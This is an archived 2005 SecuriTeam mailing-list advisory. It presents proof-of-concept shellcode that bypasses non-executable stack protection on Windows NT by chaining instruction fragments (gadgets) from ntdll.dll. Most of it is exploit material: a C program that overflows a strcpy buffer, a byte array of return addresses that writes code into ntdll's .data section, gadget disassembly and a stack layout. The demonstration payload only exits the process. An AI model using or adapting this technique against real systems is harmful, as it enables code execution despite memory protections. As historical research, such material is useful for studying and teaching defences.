

[EXPL] Avoiding Stack Protections Shellcode Example

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0047.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 05/05/05

To: list@securiteam.com

Date: 5 May 2005 20:08:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Avoiding Stack Protections Shellcode Example

SUMMARY

This is an example of a possible shellcode that can be used exploiting systems that use stack protection. The shellcode uses parts of ntdll.dll to jump to our code. This method can be implemented using almost any DLL, and completely avoids the stack protection mechanisms, as no code is actually being executed in non-executable stack.

DETAILS

We have all heard about stack protections. Security products are protecting stacks of code executed there. New hardware can also disallow code execution in non-executable memory (amd64 for example). Building a shellcode to avoid this is not very complex, as will be shown here with this small sample.

The idea is to use pieces of code of DLLs for example. In this code we will be using pieces of code of ntdll for serving our purposes. How? Easy, with the stack overflow we will leave in the stack return addresses for executing our thread to code in ntdll.dll

Securiteam: [EXPL] Avoiding Stack Protections Shellcode Example

The pieces of ntdll we will use are:

78462FDF: AB stosd

78462FE0: 5F pop edi

78462FE1: C20400 retn 00004

..

784635EC: 8BC6 mov eax,esi

784635EE: 5F pop edi

784635EF: 5E pop esi

784635F0: C3 retn

Then, if we overwrite ret eip of func() with 784635EC we will jump there. After that, we leave in the stack a value that will be "popped" into edi, and after that, other value to be popped into esi. After that other ret address that retn in 784635F0 will use to jump other code, and etc... In this manner we are able to do all we want without executing any thing in the stack.

Note in this sample CDROM is using this method to dump code to ntdll .data section, and jump there after the code is dumped for executing there. This could be not very useful because .data of ntdll could be protected of execution too, but it is easy to dump code there and good for this sample (though in a real exploit is not necessary to dump code there, we could do a exploit only executing pieces of code of other dlls and without executing nothing in stack or other non-exec memory).

Shellcode:

```
/*
```

```
This sample will work with ntdll Version: 5.0.2195.6899. The code should be compiled with visual studio 6.0 in debug and default options for the project.
```

```
(really, only open the
```

```
c with visual studio and F7, and yes, yes...
```

```
*/
```

```
#include <stdio.h>
```

```
#define DEBUGZ
```

```
#ifdef DEBUGZ
```

```
/*
```

```
The code to execute in .data is:
```

```
nops
```

```
xor eax,eax 33 c0
```

```
push eax 50
```

```
push 0x79460e7d 68 7d 0e 46 79
```

```
ret c3
```

Securiteam: [EXPL] Avoiding Stack Protections Shellcode Example

```
*/  
  
/*  
  for debugging we have activated DEBUGZ for giving the shellcode directly  
  to  
  func(), but this shellcode could go perfectly as argv[1]  
  
*/  
  
char exploit[]=  
{  
'a','a','a','a','a','a','a','a','a','a','a','a',  
'a','a','a','a','a','a','a','a','a','a','a','a',  
'a','a','a','a','a','a','a','a','a','a','a','a',  
'a','a','a','a','a','a',  
0xEF,0x35,0x46,0x78,//here we are overwriting ret eip func()  
0x90,0x90,0x90,0x90,//this nops are part of the code that we will dump to  
data of ntdll  
0xEC,0x35,0x46,0x78,//the other piece of code of ntdll that we will use  
0x21,0x21,0x4b,0x78,//pointer to a zone of .data of ntdll (where the code  
of ntdll that we are using will be dumped)  
0x90,0x90,0x90,0x33,//more code to dump to ntdll .data (nops more a  
bytecode,xor)  
0xDF,0x2F,0x46,0x78,//with this we can jump to the stosd of ntdll that we  
will use  
'a','a','a','a',  
  
0xEC,0x35,0x46,0x78,//same operation  
'a','a','a','a',  
0x21+4,0x21,0x4b,0x78,//next part of ntdll .data where we will write our  
code  
0xc0,0x50,0x68,0x7d,//more code to write there  
0xDF,0x2F,0x46,0x78,  
'a','a','a','a',  
  
0xEC,0x35,0x46,0x78,//same operation  
'a','a','a','a',  
0x21+8,0x21,0x4b,0x78,//next part of ntdll .data where we will write our  
code  
0x0e,0x46,0x79,0xc3,//more code to write there  
0xDF,0x2F,0x46,0x78,  
'a','a','a','a',  
  
0xEC,0x35,0x46,0x78,//same operation  
'a','a','a','a',  
0x21+12,0x21,0x4b,0x78,//next part of ntdll .data where we will write our  
code  
0x90,0x90,0x90,0x90,//more code to write there  
0xDF,0x2F,0x46,0x78,  
'a','a','a','a',
```

Securiteam: [EXPL] Avoiding Stack Protections Shellcode Example

0x21,0x21,0x4b,0x78, //we have copied all the code that we need, so we jump that code in .data of ntdll.

```
};  
char * pexploit[2] = {exploit,exploit};  
#endif
```

```
void func(int argc,char ** argv)  
{  
    char buffer[30];  
  
    if(argc>1)  
    {  
        strcpy(buffer,argv[1]);  
    }  
}
```

```
void main(int argc,char ** argv)  
{  
  
#ifndef DEBUGZ  
    func(argc,argv);  
#else  
    func(argc,pexploit);  
#endif  
}
```

```
/*
```

This is a example of a possible shellcode for winnt with ntdll.dll version: 5.0.2195.6899.

Its only a Proof of concept about how shellcodes could avoid stack protections.

This shellcode is not executed in the stack, however it has in the stack the useful values for conducting the thread to ntdll code and forcing this code to write executable code to ntdll .data section. Then,it will jump that code (that code will only call exitprocess so the program will not crash though overflow occurred).

```
*/
```

```
/*
```

Parts of ntdll:

```
78462FDF: AB stosd  
78462FE0: 5F pop edi
```

Securiteam: [EXPL] Avoiding Stack Protections Shellcode Example

78462FE1: C20400 retn 00004

784635EC: 8BC6 mov eax,esi
784635EE: 5F pop edi
784635EF: 5E pop esi
784635F0: C3 retn

data(ntdll.dll) 784b0000 ---- For copying the code there.

Number	Name	VirtSize	RVA	PhysSize	Offset	Flag-
1	.text	00045CAB	00001000	00045E00	00000400	60000020
2	ECODE	00004371	00047000	00004400	00046200	60000020
3	PAGE	00003FEB	0004C000	00004000	0004A600	60000020
4	.data	00002D84	00050000	00002200	0004E600	C0000040
5	.rsrc	0002D000	00053000	0002C400	00050800	40000040
6	.reloc	00002010	00080000	00002200	0007CC00	42000040

Stack

???????? -> trash

784635EF -> first ret address

???????? -> trash

XXXXXXXXX1 -> bytes of code that will go to ese(with pop esi in 784635EF)

784635EC -> jmp there with ret of 784635f0 for leaving esi in eax(with mov eax,esi of 784635EC)

784b2121 -> addr where we want to write, it will go to edi(its a address of .data of ntdll)

XXXXXXXXX2 -> more bytes of our code to write to ntdll .data

78462FDF -> this code in ntdll will write our bytes to .data

???????? -> trash

784635EC -> same operation

???????? -> trash for retn 4

784b2125

XXXXXXXXX3

78462FDF

????????

784635EC

????????

784b2129

XXXXXXXXX4

78462FDF

Securiteam: [EXPL] Avoiding Stack Protections Shellcode Example

????????
784635EC
????????
..

784bXXXX
XXXXXXXXXXN
78462FDF
????????
784b2121
????????

Nota:

784635EF -> 'xF5
????????
XXXXXXXXXX1
784635EC -> 'xF5
784b2121 -> 'xK!!'
XXXXXXXXXX2
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2125 -> 'xK!%'
XXXXXXXXXX3
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????
784b2129 -> 'xK!'
XXXXXXXXXX4
78462FDF -> 'xF/
????????
784635EC -> 'xF5
????????

..
784bXXXX
XXXXXXXXXXN
78462FDF -> 'xF/
????????
784b2121 -> 'xK!!'
????????

Info of my ntdll:

Version: 5.0.2195.6899

Count of sections 6 Machine intel386
Symbol table 00000000[00000000] Wed Mar 24 03:17:14 2004

Securiteam: [EXPL] Avoiding Stack Protections Shellcode Example

Size of optional header 00E0 Magic optional header 010B
Linker version 5.12 OS version 5.00
Image version 5.00 Subsystem version 4.00
Entry point 00000000 Size of code 0004E200
Size of init data 00030800 Size of uninit data 00000000
Size of image 00083000 Size of header 00000400
Base of code 00001000 Base of data 0004E000
Image base 78460000 Subsystem Windows char
Section alignment 00001000 File alignment 00000200
Stack 00040000/00001000 Heap 00100000/00001000
Checksum 00082A23 Number of directories 16

*/

ADDITIONAL INFORMATION

The information has been provided by <<mailto:CDRRROM@terra.es>> CDRROM.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.